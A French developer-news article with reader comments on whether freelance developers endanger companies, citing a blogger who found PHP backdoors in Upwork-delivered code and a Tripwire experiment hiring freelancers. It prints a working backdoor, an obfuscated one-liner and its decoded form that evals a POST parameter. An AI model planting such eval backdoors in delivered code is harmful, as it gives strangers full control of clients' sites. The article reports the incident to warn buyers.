Newsletter Developpez.com

Inscrivez-vous gratuitement au Club pour recevoir
la newsletter hebdomadaire des développeurs et IT pro

Les développeurs indépendants représentent-ils un risque pour la sécurité des entreprises ? Oui
Selon une étude

Le , par Stéphane le calme, Chroniqueur Actualités
Les développeurs indépendants représentent-ils un risque pour la sécurité des entreprises ?
Les travailleurs indépendants se sont révélés être une ressource extrêmement utile pour de nombreuses petites entreprises au cours des dernières années, ce qui permet de recruter des compétences spécialisées au besoin. D’ailleurs même les grandes enseignes de la technologie, à l’instar de la NASA ou de Google, ont déjà eu recours à l'externalisation des services informatiques.

Cependant, Robert Hansen, un spécialiste du mobile, a décrit une mauvaise expérience qu’il a eue en juin 2016 lorsqu’il devait externaliser la mise à jour de son blog Smartphone Exec. Il est passé par la plateforme américaine de freelance Upwork.

« Durant la première semaine, les choses se sont bien déroulées. Une communication régulière et des délais clairs sont importants. Mais ce développeur particulier avait quelques tours dans ses manches. Tout d'abord, le compte dont il se servait était un front pour une équipe de développement plus grande. Cette équipe de développement n'était pas disposée à utiliser la fonction Upwork intégrée pour effectuer le suivi du travail dans le temps », a-t-il expliqué.

Pour rappel, Upwork se sert d’une application pour permettre au client de suivre l’évolution du travail qu’il a commandé dans le temps : l’application se charge alors d’apporter aux clients divers éléments (capture d’écran, photo prise par la webcam du travailleur indépendant – si celui-ci l’autorise –, etc.) qui seront alors situés dans une chronologie que le client pourra parcourir à sa guise. Le fait que le développeur, ainsi que l’équipe avec laquelle il travaille, refuse de se servir de cette application a été pour Hansen « Le premier signe que quelque chose allait de travers. »

« En second lieu, il a fallu 40 heures pour conditionner le code pour la livraison - quelque chose qui aurait dû être extrêmement simple à faire si le code était effectivement développé de manière professionnelle. Mais le dernier problème était le plus lourd », a-t-il continué.

« Lorsque le code m’a été livré, il était dans un format que l’iPhone ne peut pas gérer facilement – les fichiers zip. J'ai donc brisé ma règle et l'ai téléchargée dans un ordinateur et avant même de pouvoir le décompresser, Microsoft Security Essentials a trouvé quelque chose qui lui semblait suspect. J'ai donc creusé dans le code et j'ai trouvé six portes dérobées PHP qui permettraient à ce développeur et à leur équipe d'accéder à ce site. »

Voici un exemple de ce à quoi ressemblait le code avant la décompression :

Code PHP : Sélectionner tout
<?PHP&nbsp;$viu0="sutpe_or";&nbsp;$iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7];&nbsp;$uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval(&nbsp;${$uvwh73}['q490ded']);}&nbsp;?>

Après la décompression, il ressemblait à ceci :

Code PHP : Sélectionner tout
<?PHP if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);}&nbsp;?>

« Fondamentalement, ce que cela dit, c'est que chaque fois que leur équipe irait sur mon site Web et ferait une demande POST sur mon site avec le paramètre ci-dessus, ils auraient pu exécuter n'importe quelle commande, comme s’ils avaient le même niveau d'accès que j'avais. »

Suite à cette situation, l’entreprise de sécurité Tripwire s’est intéressée à la question de savoir si, lorsqu’un client (entreprise ou particulier) fait appel à ce genre de travailleurs, en particulier pour des projets informatiques, cela pourrait compromettre la sécurité de l’entreprise. Pour savoir à quel point ce problème peut être répandu, l’entreprise a eu l’idée de mener une expérience auprès de 25 développeurs indépendants.

L’équipe VERT (Vulnerability and Exposure Research Team) de Tripwire a envoyé un courrier à l’ensemble des candidats avec le même projet, la création d’un site web avec différentes fonctionnalités : « Le plan était simple: créer un personnage non technique et, en tant que tel, embaucher un certain nombre de travailleurs indépendants pour créer un site web. Chaque entrepreneur a reçu le même courrier électronique avec les mêmes critères. »

Bien que l'équipe ne savait pas à quoi s'attendre, elle avait une série d'objectifs à l'esprit. Tout d'abord, elle voulait analyser les interactions avec les entrepreneurs. Comment était la communication ? Ont-ils tenté d'arnaquer le client ou le marché ? Combien accepteraient le travail, et combien le refuseraient ou tenteraient d'augmenter les enchères ?

Autant de questions que l’équipe a trouvé intéressantes même si, finalement, elle s’est fixé deux objectifs principaux :

tout d'abord, elle voulait identifier les portes dérobées, les mots de passe codés et les actions intentionnellement malveillantes prises par les entrepreneurs ;
ensuite, elle voulait trouver tous les défauts et les vulnérabilités dans le code livré.

25 développeurs ont répondu à l’appel de cette offre proposée à 250 dollars. Plusieurs ont sollicité une communication et un paiement hors de la plateforme, probablement pour éviter de payer la commission à Upwork, ce qui a conduit à la fermeture immédiate de leur compte pour violations de conditions et services. D’autres ont été exclus, car ils demandaient un montant plus élevé que le budget proposé.


Craig Young, chercheur principal en sécurité chez Tripwire

Cependant, 17 développeurs ont réussi à passer entre les mailles du filet. Ils ont mis entre 7 et 9 jours pour livrer leur client. Pendant le développement du projet, VERT a dû mettre fin à certains contrats pour plusieurs raisons, notamment :

  1. L'entrepreneur a fourni une installation WordPress de base sans assistance pour les utilisateurs du site afin qu’ils puissent télécharger des documents. Le contractant a refusé de fournir un remboursement et a réclamé faussement (six fois) que le travail ait été effectué selon les spécifications du client. Le support à la clientèle devait être invoqué pour forcer un remboursement ;
  2. L'entrepreneur a fourni des fichiers initiaux et a ensuite demandé d'annuler la commande parce qu'il « était occupé » quelques jours après le projet ;
  3. L'entrepreneur a demandé plus d'argent immédiatement après avoir accepté le contrat. Il a évoqué un malentendu, prétendant avoir cru que le projet était de mettre à jour un site existant plutôt que d’en créer un nouveau ;
  4. L'entrepreneur a régulièrement fourni des liens vers un site Web WordPress avec des problèmes de configuration qui ont conduit à des pages d’erreur. Deux semaines après la date limite, ils ont convenu de fournir un remboursement ;
  5. L'entrepreneur a demandé l'URL du panneau de contrôle du site et a indiqué qu'il était difficile de créer un site sans cela. Le contrat a été annulé parce qu'ils ont déclaré par la suite qu’il faudrait 20 à 25 jours plutôt que les sept jours convenus, et que le prix aurait besoin d’être renégocié ;
  6. L'entrepreneur a fourni un modèle de page HTML + JS et n'a pas pu fournir le jeu complet de fonctionnalités ;
  7. L'entrepreneur n'a pas été en mesure de fournir des produits livrables après trois semaines.

« S'il s'agissait d'un projet du monde réel, ces conflits constitueraient un problème sérieux, qui entraînerait un dépassement du budget alloué au projet ou un dépassement de la date limite », a indiqué VERT. Et de préciser qu’en plus de cela, « le client aurait eu un site Web instable. »

À la fin, seuls 10 des 17 projets commandés ont été achevés et payés, a indiqué VERT.

Craig Young, chercheur principal en sécurité chez Tripwire, a affirmé que « Nous ne pouvons raisonnablement pas nous attendre à ce que les violations des données diminuent si les sites Web conçus par les développeurs ne sont pas réalisés avec des mesures de sécurité de base intégrées ».

Afin de ne pas être victime des mêmes défauts, Tripwire conseille aux entreprises qui recherchent un nouveau site Web ou d'autres projets connexes d'être plus pointues dans le processus de recrutement, surtout lorsqu'ils envisagent de prendre des entrepreneurs dans des fuseaux horaires différents des leurs.

L'entreprise recommande également d'analyser tous les projets finis avec un scanner de vulnérabilité d'application Web et, idéalement, chercher à obtenir une évaluation par un testeur de pénétration professionnel avant que le paiement final ne soit effectué.

Source : Smartphone Exec, TripWire

Et vous ?

Avez-vous déjà trouvé ou posé des backdoors dans du code ?


Vous avez aimé cette actualité ? Alors partagez-la avec vos amis en cliquant sur les boutons ci-dessous :


 Poster une réponse

Avatar de mh-cbon mh-cbon - Membre actif https://www.developpez.com
le 12/06/2017 à 13:29
a aucun moment le donneur d’ordre ne se remet en question en disant, en fait, je demande un dev pour 250$, ptet que c'est une offre de merde qui n'attirera que les mouches à merde ... ?

Clairement, le type n'est tombé que sur de mauvais prestataires, le pire étant l'exemple mis en focus, puisque clairement le fournisseur de service a travailler dans l'intention de détourner la demande du client.

Encore fois, belle mise en généralité d'un phénomène qui reste marginal puisque bon tout cela ne représente que 26 tentatives....

Par ailleurs, combien de société presta de service informatique refile du magento ou wordpress sans maintenance ?
Ou simplement fournit sans les derniers patchs à jour.
Avatar de Grimly Grimly - Membre averti https://www.developpez.com
le 12/06/2017 à 13:42
Citation Envoyé par Stéphane le calme Voir le message
Avez-vous déjà trouvé ou posé des backdoors dans du code ?
Aller, juste pour alimenter les légendes des développeurs voyous : Oui !

Mes backdoors étaient carrément des services clairement exposés me permettant de jouer du code SQL ou Bash arbitraire sur l'environnement de mon choix.

Booouh le méchant développeur ! Sauf que ce dernier n'a fait que son travail et a obéis au chef de projet client qui a un passé de développeur. Au lieu d'investir sur des logs décentralisées et un minimum test sur le workflow, préférait faire du support avec SoapUI.
Avatar de RyzenOC RyzenOC - Membre expert https://www.developpez.com
le 12/06/2017 à 13:59
comme mh-cbon, 250$ pour un projet de 7 (ou 9 ) jours sérieusement ???
si 1$=1€, c'est moins que le smic en france, et le pire c'est que le $>€ et que les salaires sont plus élevée aux states

et puis wordpress quoi... chez pas je trouve que sa sonne très mal avec "chercheur principal en sécurité".
la création d’un site web
Justement, aucune entreprise sérieuse ne fait un site web avec wordpress...
Avatar de Pierre Louis Chevalier Pierre Louis Chevalier - Expert éminent https://www.developpez.com
le 12/06/2017 à 14:39
Citation Envoyé par mh-cbon Voir le message
a aucun moment le donneur d’ordre ne se remet en question en disant, en fait, je demande un dev pour 250$, ptet que c'est une offre de merde qui n'attirera que les mouches à merde ... ?
Si tu va sur les sites de freelances/missions tu verra que pourtant c'est courant.
C'est donc pertinent que les clients comprennent non seulement qu'ils demandent trop avec des budgets trop bas mais que d'autre part il y à des risques...

Citation Envoyé par mh-cbon Voir le message
alors que clairement, le type n'est tombé que sur de mauvais prestataires, le pire étant l'exemple mis en focus, puisque clairement le fournisseur de service a travailler dans l'intention de détourner la demande du client. Encore fois, belle mise en généralité d'un phénomène qui reste marginal puisque bon tout cela ne représente que 26 tentatives....
"Marginal" c'est vite dit, la cybercriminalité est en très forte croissance... et il suffit d'une fois, les conséquences peuvent êtres désastreuses, cela peu mener au dépôt de bilan d'une société et donc du chômage pour tous les employés, sans parler des clients lésés...
Si tu étais client tu saurais que les "mauvais prestataires" sont légions à ce tarif la.

C'est donc très important d'attirer l'attention des clients sur ces questions...

Si les clients étaient mieux sensibilisés, il feraient plus attention à payer des prestations plus chères avec des prestataires de qualité et non à commander n'importe quoi à n’importe qui.

Du coup ça rends cette news en encore plus le débat qui s'ensuit très important, la question mérite tout à fait d'être posée...
Avatar de Mimoza Mimoza - Membre actif https://www.developpez.com
le 12/06/2017 à 15:04
@RyzenOC : Non 7 - 9 jours c'était le délai accordé pour fournir le travail, au vue des réponses il ne devait pas y avoir bien plus de 1 à 2 jours de boulot.

Mais clairement le mec a fait une mauvaise expérience et généralise, ensuite pour leur «test» il faudrait voir ce qu'ils proposaient exactement et le profil de ceux qui répondaient, si c'était de dev autoproclamé ou non. Mais c'est clair qu'un projet à 250$ ne va pas attirer la fine fleur des devs
Avatar de Mingolito Mingolito - Membre chevronné https://www.developpez.com
le 12/06/2017 à 15:07
Tu as même des sites de services "tout à 5 $" et il y à des prestataires de dev et des webmasters la dedans !
Un site ou un dev pour 5 $ ? vraiment ?
Avatar de mh-cbon mh-cbon - Membre actif https://www.developpez.com
le 12/06/2017 à 15:07
C'est donc pertinent que les clients comprennent non seulement qu'ils demandent trop avec des budgets trop bas mais que que d'autre part il y à des risques...
J'objecterais simplement que nous ne sommes pas les dits-clients, donc cette news à définitivement un souci, selon moi.

Ce qui n'enlève pas l'idée, comme vous le soulignez, que la question mérite d'être posée, mais ni la forme ni le contenu ne me conviennent ici.

Bon après marginal, pas marginal, effectivement, je n'ai jamais demandé à quelqu'un d'autre de faire mon taff xd
Mais bon sur quels chiffres s'appuyer autres que ceux de la news, et partant de là, en venir à la conclusion d'une généralité malvenue ?
Avatar de Pierre Louis Chevalier Pierre Louis Chevalier - Expert éminent https://www.developpez.com
le 12/06/2017 à 15:16
Il y à un point d'interrogation, c'est une question, pas une affirmation.
Pour moi la question est pertinente, et la news aussi, après l'étude qui sert de base à la news a un impact forcément limité mais il faut bien partir de quelque chose, et justement c'est intéressant de voir dans le fil si d'autres ont eu des expériences sur ce sujet...

Et détrompe-toi, il y à aussi des "clients" sur ce site, et des directions informatique qui font appel à des prestataires, il y à des millions de lecteurs pour info : Le Club developpez.com, c'est jusqu'à 4 millions de visiteurs uniques.
Je connais énormément de DI/DSI ou même simplement des gérants d'entreprise qui consultent developpez.com...
Avatar de Glutinus Glutinus - Expert éminent sénior https://www.developpez.com
le 12/06/2017 à 15:44
Le titre stigmatise les indépendants, mais l'article évoque plus la prestation à l'extérieur. Indépendant comme cabinets de consulting, de 2 à 100 000 personnes, peuvent essayer d'entuber le client - à juste titre, car dans ma prime jeunesse, je louais une loyauté sans faille à ma SSII - bonjour ma naïeveté - et me méfiait dur comme fer des indépendants, le premier que j'ai rencontré étant un fieffé filou (jour facturé alors qu'il était absent, cinq jours-homme de travail alors qu'il a rendu un fichier SQL avec une vieille instruction... il avait même tenté de faire facturer une page de code que j'avais moi-même développée). Combien de commerciaux, à la belle époque, ont traficoté pour augmenter la facturation d'un consultant ? Combien ont mis fin au contrat à peine commencé parce qu'ils ont trouvé mieux facturé ailleurs ? Et combien ont trouvé des raisons fallacieuses alors que le consultant est parti ?

Le débat est intéressant, pourvu qu'il ne se penche pas non plus que sur les professionnels en IT. Je suis sûr qu'on peut trouver le même exemple en marketing, en coaching ou autre, ou le prestataire finit par demander plus ou court-circuite sous le manteau son intermédiaire - qu'il le court-circuite "proprement" est une chose, qu'il le fasse de manière détournée dès le début en dit très long sur son professionnalisme.

J'ai bossé pour une société de service qui devait développer en Java, et qui a fini au bout de deux mois par présenter une première mouture, un peu en mode POC en... PHP ! Le (gros) client, qui a une infrastructure IT, ne s'est évidemment pas laissé faire. La société de service a juste argué que c'était plus performant et moins lourd, avant de revenir sur du Java comme prévu. Et ce n'était pas une société de 5 quidams, mais une branche d'une bonne soixantaine de personnes qui devaient travailler dessus (pas que des devs, hein, des DBA, chef de projet, développeurs reporting, architecture, etc.)

Je ne vois pas trop la question initiale de VERT ("est-ce qu'un consultant en extérieur mais en danger la sécurité de mon entreprise") avec celle de la revalorisation des coûts...
Avatar de NSKis NSKis - En attente de confirmation mail https://www.developpez.com
le 12/06/2017 à 16:14
Les explications du "client malheureux" sont à mourir de rire... Et j'ajouterai: "Il en a eu pour son argent!"

Quand on veut payer un service à un prix "bas de gamme", on a un service "bas de gamme"

En cela, le développeur a fourni très exactement le service demandé
Offres d'emploi IT
Conducteur de travaux télécom (H/F)
EXTIA - Rhône Alpes - Lyon (69000)
Ingénieur études et développement j2ee h/f
Atos - Bretagne - Rennes (35000)
Développeur web php 5
DreamCentury Entertainment - Ile de France - Paris (75008)

Voir plus d'offres Voir la carte des offres IT
Contacter le responsable de la rubrique Accueil